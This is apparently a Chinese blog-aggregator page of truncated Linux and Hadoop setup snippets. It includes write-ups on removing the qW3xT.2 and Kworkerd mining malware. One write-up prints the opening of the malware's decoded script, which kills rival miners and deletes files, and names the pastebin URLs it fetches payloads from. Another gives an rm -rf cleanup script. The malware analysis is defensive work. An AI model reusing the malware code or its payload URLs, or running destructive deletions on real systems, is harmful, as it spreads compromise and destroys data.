lib文件

未完成的研究

偶尔善良 提交于 2020-01-26 11:27:57
报错:error while loading shared libraries: libpcap.so.0.8: cannot open shared object file: No such file or directory 问题描述:报错找不到的库其实是安装了的,但是仍然报错找不到, Q1,linux的.so文件是啥? Linux下的.so文件是动态链接库,其功能和作用类似与windows下.dll文件。 Q2,while loading shared libraries 系统会去哪loading? 百度有人说,系统的默认搜索依赖库路径为/lib,和/usr/lib,和/usr/local/lib, Q3,为什么No such file or directory? find / -name libpcap.so.0.8  无结果 find / -name libpcap.so   发现了/usr/lib64/libpcap.so 待研究,, Q4,libpcap.so和libpcap.so.0.8的区别 知识点 一、.so和.a .so后缀的文件是linux下的动态链接库。动态函数库在编译的时候没有被编译进目标代码中,程序执行到相关函数时才调用它。由于函数库没有被整合进程序,而是程序运行时动态的申请并调用,所以程序的运行环境中必须提供依赖的库。 

linux目录结构详细说明

二次信任 提交于 2020-01-26 02:55:27
Linux各目录及每个目录的详细介绍 【常见目录说明】 目录 /bin 存放二进制可执行文件(ls,cat,mkdir等), 常用命令 一般都在这里。 /etc 存放系统 管理和配置 文件 /home 存放所有用户文件的根目录 ,是用户主目录的基点,比如用户user的主目录就是/home/user,可以用~user表示 /usr 用于存放系统应用程序,比较重要的目录/usr/local 本地系统管理员软件安装目录(安装系统级的应用 )。这是最庞大的目录,要用到的应用程序和文件几乎都在这个目录。 /usr/x11r6 存放x window的目录 /usr/bin 众多的应用程序 /usr/sbin 超级用户的一些管理程序 /usr/doc linux文档 /usr/include linux下开发和编译应用程序所需要的头文件 /usr/lib 常用的动态链接库和软件包的配置文件 /usr/man 帮助文档 /usr/src 源代码,linux内核的源代码就放在/usr/src/linux里 /usr/local/bin 本地增加的命令 /usr/local/lib 本地增加的库 /opt 额外安装的可选应用程序 包所放置的位置。一般情况下,我们可以把tomcat等都安装到这里。 /proc 虚拟文件系统目录,是系统内存的映射。可直接访问这个目录来获取系统信息。 /root 超级用户

监控宝安装手册

戏子无情 提交于 2020-01-25 10:51:57
一,采集器的安装:http://blog.jiankongbao.com/?p=1285 (借用这个文档,这个是官网的,写的比较详细) 二,Ubuntu下安装net-snmp,具体步骤如下: 1、获取net-snmp的安装包,这里我们选择源代码的安装方式,当然你也可以选择ubuntu的网络下载方式安装,如: >> sudo apt-get install snmpd snmp net-snmp 或者是自己从网络down下来手动编译安装,这里我选择最新版本的net-snmp5.7.1,下载下来的格式为net-snmp-5.7.1.tar.gz 2、我们先必须要源代码安装包进行解压,如下: 我们可以先建一个snmp的目录 >> mkdir snmptemp >> cd snmptemp >> mv net-snmp-5.7.1.tar.gz ./ >> tar -zxvf net-snmp-5.7.1.tar.gz 解压之后我们就把目录名字更改如下: >> mv net-snmp-5.7.1 ./net-snmp 3、安装Ubuntu下的snmp的依赖包,具体如下: >> sudo apt-get install libperl-dev 以上的安装方式是先下载,后自动安装 4、进入到解压目录,开始配置 >> cd net-snmp >> ./configure --with

安装Apache Hadoop2.7.1教程

旧时模样 提交于 2020-01-25 08:08:24
教程环境 hadoop2.7.1 Ubutun16.06 JDK1.8 详细下载教程本教程暂不提供 添加用户 创建Hadoop用户(必不可少的,否则后面会因为权限问题导致无法搭建集群) 添加Hadoop用户 sudo useradd - m hadoop - s / bin / bash 设置新用户密码 sudo passwd hadoop 为新用户添加管理员权限 sudo adduser hadoop sudo 最后我们注销当前用户,切换到hadoop用户登录 更新apt 用 hadoop 用户登录后,我们先更新一下 apt,后续我们使用 apt 安装软件,如果没更新可能有一些软件安装不了。按 ctrl+alt+t 打开终端窗口,执行如下命令: sudo apt - get update 若出现如下 “Hash校验和不符” 的提示,可通过更改软件源来解决。若没有该问题,则不需要更改。从软件源下载某些软件的过程中,可能由于网络方面的原因出现没法下载的情况,那么建议更改软件源。在学习Hadoop过程中,即使出现“Hash校验和不符”的提示,也不会影响Hadoop的安装。 后续需要更改一些配置文件,我比较喜欢用的是 vim(vi增强版,基本用法相同),建议安装一下(如果你实在还不会用 vi/vim 的,请将后面用到 vim 的地方改为 gedit,这样可以使用文本编辑器进行修改

阿里云centos7.3配置hadoop2.7伪分布式环境

允我心安 提交于 2020-01-24 17:41:17
一、防火墙设置 systemctl stop firewalld.service #停止firewall systemctl disable firewalld.service #禁止firewall开机启动 二、修改主机名 vim /etc/hostname 我将主机名修改为master reboot 重启服务器生效 三、修改hosts配置文件 vim /etc/hosts 添加内网ip 主机名 四、安装SSH客户端 (1)安装ssh,询问时输入y yum install openssh-clients openssh-server (2)测试ssh是否安装完成 ssh master (3)配置SSH免key登陆(必须要配置) ssh-keygen -t rsa -P '' -f ~/.ssh/id_rsa cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys chmod 0600 ~/.ssh/authorized_keys (4)用ssh连接本机,此时不需要密码 五、配置java环境(如果已安装的跳过) (1)下载解压安装包 由于1.8版本适用范围最广,这里安装jdk1.8版本,先下载安装包。 附百度云下载链接 链接:https://pan.baidu.com/s/1_A1pCLXvCMs5SxmpHPPYfg 提取码:4e9h 在

Mxnet C++接口安装以及收集到的资料整理

为君一笑 提交于 2020-01-24 10:53:57
Mxnet C++接口 install C++接口需要从源码编译安装 跟着教程来也很简单(无脑复制粘贴) ubuntu安装地址 官方的 STEP1 里安装了 OpenBLAS 数学库(后面STEP3是三个命令选一个,我选 For a CPU-only build with OpenBLAS math library run: ) 跟随官网教程做到 STEP3 时候需要注意的点: 运行cmake时候要添加参数 -USE_CPP_PACKAGE=1 ,这样才会开启C++接口,比如这样: rm -rf build mkdir -p build && cd build cmake -GNinja \ -DUSE_CUDA = OFF \ -DUSE_MKL_IF_AVAILABLE = OFF \ -DCMAKE_BUILD_TYPE = Release \ -USE_CPP_PACKAGE = 1 \ .. ninja 如果是笔记本推荐直接用CPU的跑就行了,如果选GPU,我没折腾过不知道会不会有什么坑。。。我选择的是 For a CPU-only build with OpenBLAS math library run: 因为 STEP1 里安装了 完成编译之后,就会生成.so和.a两个文件,文件位置可能在lib里(我跟着mac的教程是生成在lib里)也有可能在build文件夹里

正确设定idea的java的jre环境和jdk

寵の児 提交于 2020-01-23 21:13:54
安装好jdk后,打通了path,在任意地点javac都ok,但是执行java会报错,百思不得其解,后来发现了jdk和jre的差别之后,解决了这个问题: 首先,jdk是开发工具,需配置系统环境变量和path,但是jre仅仅是运行环境,比如某个下载安装的java程序要运行需要这个环境,所以自动安装,所以自动配置path和系统环境变量。jdk解压缩包里包含了jre目录,里面有同版本的jre运行环境和客户端,在win下运行的还有dll虚拟机文件。 所以,在环境变量设置那里,加了一个键值名为:JRE_HOME的内容,D:\JDK1.8\jdk1.8.0_31\jre 保存之后,可以在任意path下执行java了,ok解决。 附录:(转)关于jdk和jre 大家肯定在安装JDK的时候会有选择是否安装单独的jre,一般都会一起安装,我也建议大家这样做。因为这样更能帮助大家弄清楚它们的区别: Jre 是java runtime environment, 是java程序的运行环境。既然是运行,当然要包含jvm,也就是大家熟悉的虚拟机啦,还有所有java类库的class文件,都在lib目录下打包成了jar。大家可以自己验证。至于在windows上的虚拟机是哪个文件呢?学过MFC的都知道什么是dll文件吧,那么大家看看jre/bin/client里面是不是有一个jvm.dll呢?那就是虚拟机。 Jdk

挖矿病毒 qW3xT.2 最终解决方案

独自空忆成欢 提交于 2020-01-23 20:41:59
转自:https://blog.csdn.net/hgx13467479678/article/details/82347473 1,cpu 100%, 用top 查看cpu100 2,删掉此进程 cpu还是 100% 3,估计是进程被隐藏了 4,定时任务多了一个执行任务 5:打开连接 https://pastebin.com/raw/xbY7p5Tb 获取如下内容 6:打开 https://pastebin.com/raw/uuYVPLXd ,发现是一个Base64编码字符串, 7:用Base64解码此内容得到如下脚本内容 #!/bin/bash SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin function kills() { pkill -f sourplum pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius rm -rf /tmp/*index_bak* rm -rf /tmp/*httpd.conf* rm -rf /tmp/*httpd.conf rm

Kworkerd恶意挖矿分析

試著忘記壹切 提交于 2020-01-23 20:35:39
转自:https://www.360zhijia.com/anquan/417114.html 0x01 快速特征排查 TOP显示CPU占用高,但是没有高占用的进程 存在与未知服务器13531端口建立的TCP连接 文件/etc/ld.so.preload中指向了/usr/local/lib/libntp.so 存在可疑执行base64编码的python进程 0x02 快速清除 #!/bin/bash ps aux | grep "I2NvZGluZzogdXRmLTg" | grep - v grep | awk '{print $2}' | xargs kill - 9 echo "" > /etc/ cron . d / root echo "" > /etc/ cron . d / system echo "" > / var/ spool / cron / root echo "" > / var/ spool / cron / crontabs / root rm - rf / etc / cron . hourly / oanacron rm - rf / etc / cron . daily / oanacron rm - rf / etc / cron . monthly / oanacron rm - rf / bin / httpdns sed - i ' $d

Linux下Tomcat8.0.44配置使用Apr

谁都会走 提交于 2020-01-23 13:23:51
听说Apr可以提高tomcat很多的性能,配置具体如下 1.安装apr 1.5.2 [root@ecs-3c46 ]# cd /usr/local/src [root@ecs-3c46 src]# wget http://apache.fayea.com//apr/apr-1.5.2.tar.gz [root@ecs-3c46 src]# tar -xzvf apr-1.5.2.tar.gz [root@ecs-3c46 src]# cd apr-1.5.2 [root@ecs-3c46 apr-1.5.2]# ./configure --prefix=/usr/local/apr [root@ecs-3c46 apr-1.5.2]# make [root@ecs-3c46 apr-1.5.2]# make install 2.安装apr-util-1.5.4 [root@ecs-3c46 ]# cd /usr/local/src [root@ecs-3c46 src]# wget http://mirrors.hust.edu.cn/apache//apr/apr-util-1.5.4.tar.gz [root@ecs-3c46 src]# tar -xzvf apr-util-1.5.4.tar.gz [root@ecs-3c46 src]# cd apr-util-1.5.4